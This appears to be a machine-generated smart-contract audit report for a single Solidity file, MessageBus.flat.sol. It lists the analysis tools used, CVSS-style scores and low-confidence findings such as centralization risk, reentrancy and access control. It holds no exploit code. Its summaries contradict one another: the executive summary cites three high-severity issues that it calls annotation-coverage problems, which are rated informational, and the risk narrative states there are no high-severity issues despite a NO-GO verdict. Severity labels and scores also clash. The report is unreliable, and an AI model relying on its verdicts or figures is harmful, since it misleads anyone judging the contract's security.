

MIESC

Multi-layer Intelligent Evaluation for Smart Contracts

Smart Contract Security Audit

MessageBus.flat.sol

Client

Prepared by: **MIESC Security**

Audit Date: **2026-09-11**

Report Date: **2026-09-11 14:38:02**

Version: **1.0**

Network: **Ethereum Mainnet**

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1. Executive Summary

1.1 Key Takeaways

3 high-severity vulnerabilities identified, primarily missing annotation coverage issues. Immediate remediation required before deployment.

1.2 Deployment Recommendation

Recommendation: NO-GO

Contract has 3 high severity vulnerabilities. Fix all high severity issues before deployment.

1.3 Risk Summary

METRIC	VALUE
Overall Risk Score	85/100
Exploitability	Medium
Business Impact	Medium
Confidence Level	Low

Findings by Severity

SEVERITY	COUNT	% OF TOTAL
Critical	0	0.0%
High	3	2.4%
Medium	53	42.1%
Low	57	45.2%
Informational	13	10.3%
Total	126	100%

1.4 Impact Assessment

Based on the identified vulnerabilities:

IMPACT CATEGORY	ASSESSMENT
Confidentiality	Medium - Sensitive data or state could be exposed
Integrity	Medium - Contract state could be manipulated
Availability	Medium - No significant availability risks

2. Scope & Methodology

2.1 Engagement Details

PROPERTY	VALUE
Client	Client
Contract	MessageBus.flat.sol
Repository	Local Analysis
Commit Hash	N/A
Network	Ethereum Mainnet
Engagement Type	Security Audit

2.2 Scope

In Scope

FILE	LINES	DESCRIPTION
<code>MessageBus.flat.sol</code>	379	Smart Contract

Total: 1 files, 379 lines of code

Out of Scope

- External dependencies and imported libraries
- Off-chain components
- Economic/tokenomics analysis
- Frontend/backend applications

2.3 Methodology

This audit employed MIESC's comprehensive 9-layer defense-in-depth methodology:

Layer 1: Static Analysis	[·	Partial]
Layer 2: Dynamic Testing	[·	Complete]
Layer 3: Symbolic Execution	[	Complete]
Layer 4: Formal Verification	[	Partial]
Layer 5: Property Testing	[--	Not Run]
Layer 6: AI/LLM Analysis	[	Complete]
Layer 7: Pattern Recognition	[	Partial]
Layer 8: DeFi Security	[	Complete]
Layer 9: Advanced Detection	[	Complete]

Tools Utilized

LAYER	TOOL	VERSION	STATUS
Layer 1: Static Analysis	slither	latest	Failed
Layer 1: Static Analysis	aderyn	latest	Success
Layer 1: Static Analysis	solhint	latest	Success
Layer 1: Static Analysis	wake	latest	Success
Layer 1: Static Analysis	semgrep	latest	Success
unknown	fouranalyzer	latest	Success
Layer 2: Dynamic Testing	echidna	latest	Success
Layer 2: Dynamic Testing	medusa	latest	Success

LAYER	TOOL	VERSION	STATUS
Layer 2: Dynamic Testing	foundry	latest	Success
Layer 2: Dynamic Testing	dogefuzz	latest	Success
Layer 2: Dynamic Testing	vertigo	latest	Success
Layer 2: Dynamic Testing	hardhat	latest	Success
Layer 3: Symbolic Execution	mythril	latest	Success
Layer 3: Symbolic Execution	manticore	latest	Success
Layer 3: Symbolic Execution	halmos	latest	Success
Layer 3: Symbolic Execution	oyente	latest	Success
unknown	pakala	latest	Success
Layer 4: Formal Verification	certora	latest	Failed
Layer 4: Formal Verification	smtchecker	latest	Success
Layer 4: Formal Verification	propertygpt	latest	Success
Layer 4: Formal Verification	scribble	latest	Success
unknown	solcmc	latest	Success
Layer 6: AI/LLM Analysis	smartllm	latest	Success
Layer 6: AI/LLM Analysis	gptscan	latest	Success
Layer 6: AI/LLM Analysis	llmsmartaudit	latest	Success
unknown	gptlens	latest	Success
unknown	llamaaudit	latest	Success
unknown	iaudit	latest	Success
Layer 7: ML Detection	dagnn	latest	Success
Layer 7: ML Detection	smartbugs_ml	latest	Success
Layer 7: ML Detection	smartbugs_detector	latest	Success
Layer 7: ML Detection	smartguard	latest	Failed
unknown	peculiar	latest	Success

LAYER	TOOL	VERSION	STATUS
Layer 9: Specialized Analysis	threat_model	latest	Success
Layer 9: Specialized Analysis	gas_analyzer	latest	Success
Layer 8: DeFi Security	mev_detector	latest	Success
Layer 9: Specialized Analysis	contract_clone_detector	latest	Success
Layer 8: DeFi Security	defi	latest	Success
Layer 9: Specialized Analysis	advanced_detector	latest	Success
unknown	upgradability_checker	latest	Success
unknown	crosschain	latest	Success
unknown	zk_circuit	latest	Success
unknown	bridge_monitor	latest	Success
unknown	l2_validator	latest	Success
unknown	circom_analyzer	latest	Success
unknown	llmbugscanner	latest	Success
unknown	audit_consensus	latest	Success
unknown	exploit_synthesizer	latest	Success
unknown	vuln_verifier	latest	Success
unknown	remediation_validator	latest	Success

Audit Process

1. **Initial Assessment** - Review documentation, understand architecture
2. **Automated Analysis** - Execute multi-layer tool suite
3. **Manual Review** - Deep dive into flagged code sections
4. **AI Correlation** - Cross-reference findings, reduce false positives
5. **Verification** - Reproduce and validate vulnerabilities
6. **Report Generation** - Document findings with remediation guidance

2.4 Limitations

- Time-boxed engagement (N/A)
- Analysis based on code snapshot at commit N/A

- No guarantee of finding all vulnerabilities
- Economic attack vectors not fully modeled
- Dependency vulnerabilities may exist beyond analysis scope

3. Risk Assessment

3.1 Risk Matrix

The following matrix maps findings by **Impact** (vertical) and **Likelihood** (horizontal):

	LIKELIHOOD		
	Low	Medium	High
High	Medium 0	High 3	Critical 0
Med	Low 0	Medium 53	High 0
Low	Info 13	Low 57	Medium 0
IMPACT →			

3.2 CVSS-like Scoring

FINDING ID	TITLE	BASE SCORE	VECTOR
4NALY-177af88ded0c	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-8c9320383ebf	centralization_risk	3.1	AV:N/ AC:H/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:L/ A:N
4NALY-3eaf429b32de	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-e64d049c8c99	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-4b495e73285d	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-e8d1b14d6960	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-d8c5765d78cf	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-1b52ca2bf565	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-a38e022ed2ef	centralization_risk	3.1	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-6e34e1916c7a	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-146ad53dfc2c	unsafe_erc20_transfer	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
4NALY-863971bc79ed	unsafe_erc20_transfer	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
4NALY-14be2647dee7	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-f9245ee295e5	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-ad4a1afb8ad9	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:L/ A:L
4NALY-ac86737498b9	use_of_block_timestamp	3.1	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-386ad0379536	unsafe_casting	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-808bfaf76ec9	missing_event_emission	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-495291c6f8b9	missing_event_emission	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-3e695314a1b8	missing_event_emission	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-35f99b4a26f2	missing_event_emission	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-4cd81815420a	use_of_transfer_instead_of_call	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
4NALLY-6f51372dca11	use_of_transfer_instead_of_call	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
PKL-b3ea411c5dac	fund_extraction	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
PKL-a3b7b3dd04fd	privilege_escalation_sequence	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-8c9c67b96184	precondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-2a3a7abbb4d0	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-9a50bd149a3f	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-e30bdae26316	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:L/ A:N
SCR-7acab6e182a8	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-b3523af91e9e	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-54d9c35d89f1	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-d2e943a1aa21	state_invariant_break	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-2ce403070ace	state_invariant_break	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-b2518393d6b1	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-db599007bdd3	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:L/ A:N
SCR-43327ea8b654	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-13ed9c669b03	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-994751c05e4c	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-e11c115c4bc2	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-57654c2f5e33	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-2e2c999539d3	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-01b39ae850d6	missing_annotation_coverage	3.1	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:L/ A:N
SCR-d1159617a7eb	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-597471481f6b	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-f2746e15a086	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
SCR-826309e0a6d0	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-reentrancy-state-change-0-0	reentrancy-state-change	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
aderyn-reentrancy-state-change-0-1	reentrancy-state-change	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
	reentrancy-state-change	9.6	

FINDING ID	TITLE	BASE SCORE	VECTOR
aderyn-reentrancy-state-change-0-2			AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
aderyn-unsafe-casting-1-0	unsafe-casting	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-centralization-risk-2-0	centralization-risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-centralization-risk-2-1	centralization-risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-centralization-risk-2-2	centralization-risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-centralization-risk-2-3	centralization-risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-centralization-risk-2-4	centralization-risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
aderyn-centralization-risk-2-5	centralization-risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-centralization-risk-2-6	centralization-risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-centralization-risk-2-7	centralization-risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-centralization-risk-2-8	centralization-risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-state-change-without-event-3-0	state-change-without-event	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-state-change-without-event-3-1	state-change-without-event	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-state-change-without-event-3-2	state-change-without-event	3.1	AV:N/ AC:H/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:L/ A:N
aderyn-state-change-without-event-3-3	state-change-without-event	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-state-no-address-check-4-0	state-no-address-check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-state-no-address-check-4-1	state-no-address-check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-state-no-address-check-4-2	state-no-address-check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-todo-5-0	todo	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-unchecked-return-6-0	unchecked-return	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-unsafe-erc20-operation-7-0	unsafe-erc20-operation	6.6	AV:N/ AC:L/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:L/ A:L
aderyn-unsafe-erc20-operation-7-1	unsafe-erc20-operation	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
aderyn-unspecific-solidity-pragma-8-0	unspecific-solidity-pragma	2.1	AV:N/ AC:H/ PR:H/ UI:N/ C:N/I:L/ A:N
aderyn-unused-public-function-9-0	unused-public-function	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-unused-public-function-9-1	unused-public-function	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
aderyn-unused-public-function-9-2	unused-public-function	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
iaudit-pattern-4	Integer Overflow / Underflow	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
iaudit-pattern-1	Access Control Issue	9.6	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:H/I:H/ A:N
iaudit-pattern-2	Access Control Issue	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
iaudit-pattern-3	Access Control Issue	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
iaudit-pattern-5	Timestamp Dependence	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
DAGNN- INTEGER_OVERFLOW-072cd000	ml_detected_vulnerability	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
UNK	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
UNK	bad_randomness	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
UNK	integer_overflow	6.2	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
SB-FRONT_RUNNING-1	Front-Running - Hash Puzzle	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
PECULIAR- ACCESS_CONTROL-074eb906-0000	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
THREAT-SPOOFING-36	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
THREAT-SPOOFING-69	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
THREAT-SPOOFING-295	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
THREAT-TAMPERING-171	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
THREAT-TAMPERING-270	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-245	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-256	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
GAS-PUBLIC_NOT_EXTERNAL-125	gas_optimization	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
GAS-PUBLIC_NOT_EXTERNAL-144	gas_optimization	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
GAS-PUBLIC_NOT_EXTERNAL-152	gas_optimization	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
GAS-PUBLIC_NOT_EXTERNAL-202	gas_optimization	3.1	AV:N/ AC:H/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:L/ A:N
GAS-PUBLIC_NOT_EXTERNAL-261	gas_optimization	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
GAS-PUBLIC_NOT_EXTERNAL-362	gas_optimization	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
GAS-PUBLIC_NOT_EXTERNAL-366	gas_optimization	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
ADV-RUG_PULL-1	Potential Rug Pull Pattern	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
ADV-CENTRALIZATION_RISK-2	High Centralization Risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
crosschain-insufficient_verification-3042	Cross-chain callback without source verification	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
BRG-22e12352ea9c	unverified_relay_message	3.1	AV:N/ AC:H/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:L/ A:N
BRG-c92cb00d3e29	unverified_relay_message	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
BRG-c98f2d82e49a	missing_pause_mechanism	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
llamaaudit-pattern-access_control-1	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-2	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-3	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-4	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-6	access_control	9.6	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-7	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-8	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
gptlens-1	No Timelock on withdrawGasFees	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
pattern-arithmetic-28	arithmetic	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
pattern-arithmetic-45	arithmetic	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
pattern-arithmetic-54	arithmetic	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
pattern-arithmetic-72	arithmetic	3.1	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
pattern-arithmetic-94	arithmetic	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
pattern-arithmetic-168	arithmetic	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
pattern-reentrancy-258	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
pattern-unchecked_send-258	unchecked_send	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
pattern-arithmetic-267	arithmetic	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
pattern-arithmetic-348	arithmetic	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
pattern-denial_of_service-352	denial_of_service	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
pattern-arithmetic-372	arithmetic	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N

Scoring Methodology: - **Attack Vector (AV):** Network, Adjacent, Local, Physical - **Attack Complexity (AC):** Low, High - **Privileges Required (PR):** None, Low, High - **User Interaction (UI):** None, Required - **Impact:** Confidentiality, Integrity, Availability

3.3 Risk Narrative

The audit results indicate that while there are no critical or high-severity issues, the contract faces several medium and lower-level risks that could compromise its security. The primary attack vectors identified include missing annotations, centralization risks, and access control weaknesses. These issues could potentially allow attackers to exploit vulnerabilities related to code coverage, centralized control points, and unauthorized access. Although the likelihood of exploitation is moderate, given the presence of multiple vulnerabilities, immediate actions are recommended to mitigate these risks. The development team should prioritize addressing missing annotations to ensure comprehensive code coverage, review and decentralize centralized control points, and reinforce access control mechanisms to prevent unauthorized operations.

4. Findings Overview

4.1 Summary Table

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
F-001	centralization_risk	LOW	33%	1	Open (33% conf.)	3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
F-002	centralization_risk	LOW	33%	1	Open (33% conf.)	3.1
F-003	centralization_risk	LOW	33%	1	Open (33% conf.)	3.1
F-004	centralization_risk	LOW	33%	1	Open (33% conf.)	3.1
F-005	centralization_risk	LOW	33%	1	Open (33% conf.)	3.1
F-006	centralization_risk	LOW	33%	1	Open (33% conf.)	3.1
F-007	centralization_risk	LOW	33%	1	Open (33% conf.)	3.1
F-008	centralization_risk	LOW	33%	1	Open (33% conf.)	3.1
F-009	centralization_risk	LOW	33%	1	Open (33% conf.)	3.1
F-010	centralization_risk	LOW	33%	1	Open (33% conf.)	3.1
F-011	unsafe_erc20_transfer	LOW	33%	1	Open (33% conf.)	6.6
F-012	unsafe_erc20_transfer	LOW	33%	1	Open (33% conf.)	6.6
F-013	missing_zero_address_check	LOW	33%	1	Open (33% conf.)	5.6
F-014	missing_zero_address_check	LOW	33%	1		5.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (33% conf.)	
F-015	missing_zero_address_check	LOW	33%	1	Open (33% conf.)	5.6
F-016	use_of_block_timestamp	LOW	33%	1	Open (33% conf.)	3.1
F-017	unsafe_casting	MEDIUM	33%	1	Open (33% conf.)	3.1
F-018	missing_event_emission	LOW	33%	1	Open (33% conf.)	3.1
F-019	missing_event_emission	LOW	33%	1	Open (33% conf.)	3.1
F-020	missing_event_emission	LOW	33%	1	Open (33% conf.)	3.1
F-021	missing_event_emission	LOW	33%	1	Open (33% conf.)	3.1
F-022	use_of_transfer_instead_of_call	LOW	33%	1	Open (33% conf.)	3.1
F-023	use_of_transfer_instead_of_call	LOW	33%	1	Open (33% conf.)	3.1
F-024	fund_extraction	LOW	33%	1	Open (33% conf.)	3.1
F-025	privilege_escalation_sequence	MEDIUM	33%	1	Open (33% conf.)	3.1
F-026	precondition_failure	MEDIUM	33%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (33% conf.)	
F-027	postcondition_failure	MEDIUM	33%	1	Open (33% conf.)	3.1
F-028	postcondition_failure	MEDIUM	33%	1	Open (33% conf.)	3.1
F-029	postcondition_failure	MEDIUM	33%	1	Open (33% conf.)	3.1
F-030	postcondition_failure	MEDIUM	33%	1	Open (33% conf.)	3.1
F-031	postcondition_failure	MEDIUM	33%	1	Open (33% conf.)	3.1
F-032	access_control_violation	MEDIUM	33%	1	Open (33% conf.)	9.6
F-033	state_invariant_break	MEDIUM	33%	1	Open (33% conf.)	3.1
F-034	state_invariant_break	MEDIUM	33%	1	Open (33% conf.)	3.1
F-035	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-036	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-037	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-038	missing_annotation_coverage	INFO	20%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (20% conf.)	
F-039	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-040	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-041	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-042	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-043	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-044	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-045	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-046	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-047	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-048	reentrancy-state-change	HIGH	52%	1	Open (52% conf.)	9.6
F-049	reentrancy-state-change	HIGH	52%	1	Open (52% conf.)	9.6
F-050	reentrancy-state-change	HIGH	52%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (52% conf.)	
F-051	unsafe-casting	MEDIUM	52%	1	Open (52% conf.)	3.1
F-052	centralization-risk	LOW	52%	1	Open (52% conf.)	3.1
F-053	centralization-risk	LOW	52%	1	Open (52% conf.)	3.1
F-054	centralization-risk	LOW	52%	1	Open (52% conf.)	3.1
F-055	centralization-risk	LOW	52%	1	Open (52% conf.)	3.1
F-056	centralization-risk	LOW	52%	1	Open (52% conf.)	3.1
F-057	centralization-risk	LOW	52%	1	Open (52% conf.)	3.1
F-058	centralization-risk	LOW	52%	1	Open (52% conf.)	3.1
F-059	centralization-risk	LOW	52%	1	Open (52% conf.)	3.1
F-060	centralization-risk	LOW	52%	1	Open (52% conf.)	3.1
F-061	state-change-without-event	LOW	52%	1	Open (52% conf.)	3.1
F-062	state-change-without-event	LOW	52%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (52% conf.)	
F-063	state-change-without-event	LOW	52%	1	Open (52% conf.)	3.1
F-064	state-change-without-event	LOW	52%	1	Open (52% conf.)	3.1
F-065	state-no-address-check	LOW	52%	1	Open (52% conf.)	3.1
F-066	state-no-address-check	LOW	52%	1	Open (52% conf.)	3.1
F-067	state-no-address-check	LOW	52%	1	Open (52% conf.)	3.1
F-068	todo	LOW	52%	1	Open (52% conf.)	3.1
F-069	unchecked-return	LOW	52%	1	Open (52% conf.)	3.1
F-070	unsafe-erc20-operation	LOW	52%	1	Open (52% conf.)	6.6
F-071	unsafe-erc20-operation	LOW	52%	1	Open (52% conf.)	6.6
F-072	unspecific-solidity-pragma	LOW	32%	1	Open (32% conf.)	2.1
F-073	unused-public-function	LOW	52%	1	Open (52% conf.)	3.1
F-074	unused-public-function	LOW	52%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (52% conf.)	
F-075	unused-public-function	LOW	52%	1	Open (52% conf.)	3.1
F-076	Integer Overflow / Underflow	MEDIUM	14%	1	Open (14% conf.)	6.2
F-077	Access Control Issue	MEDIUM	33%	1	Open (33% conf.)	9.6
F-078	Access Control Issue	MEDIUM	33%	1	Open (33% conf.)	9.6
F-079	Access Control Issue	MEDIUM	33%	1	Open (33% conf.)	9.6
F-080	Timestamp Dependence	LOW	33%	1	Open (33% conf.)	3.1
F-081	ml_detected_vulnerability	MEDIUM	47%	1	Open (47% conf.)	3.1
F-082	reentrancy	MEDIUM	46%	1	Open (46% conf.)	9.6
F-083	bad_randomness	MEDIUM	46%	1	Open (46% conf.)	3.1
F-084	integer_overflow	MEDIUM	19%	1	Open (19% conf.)	6.2
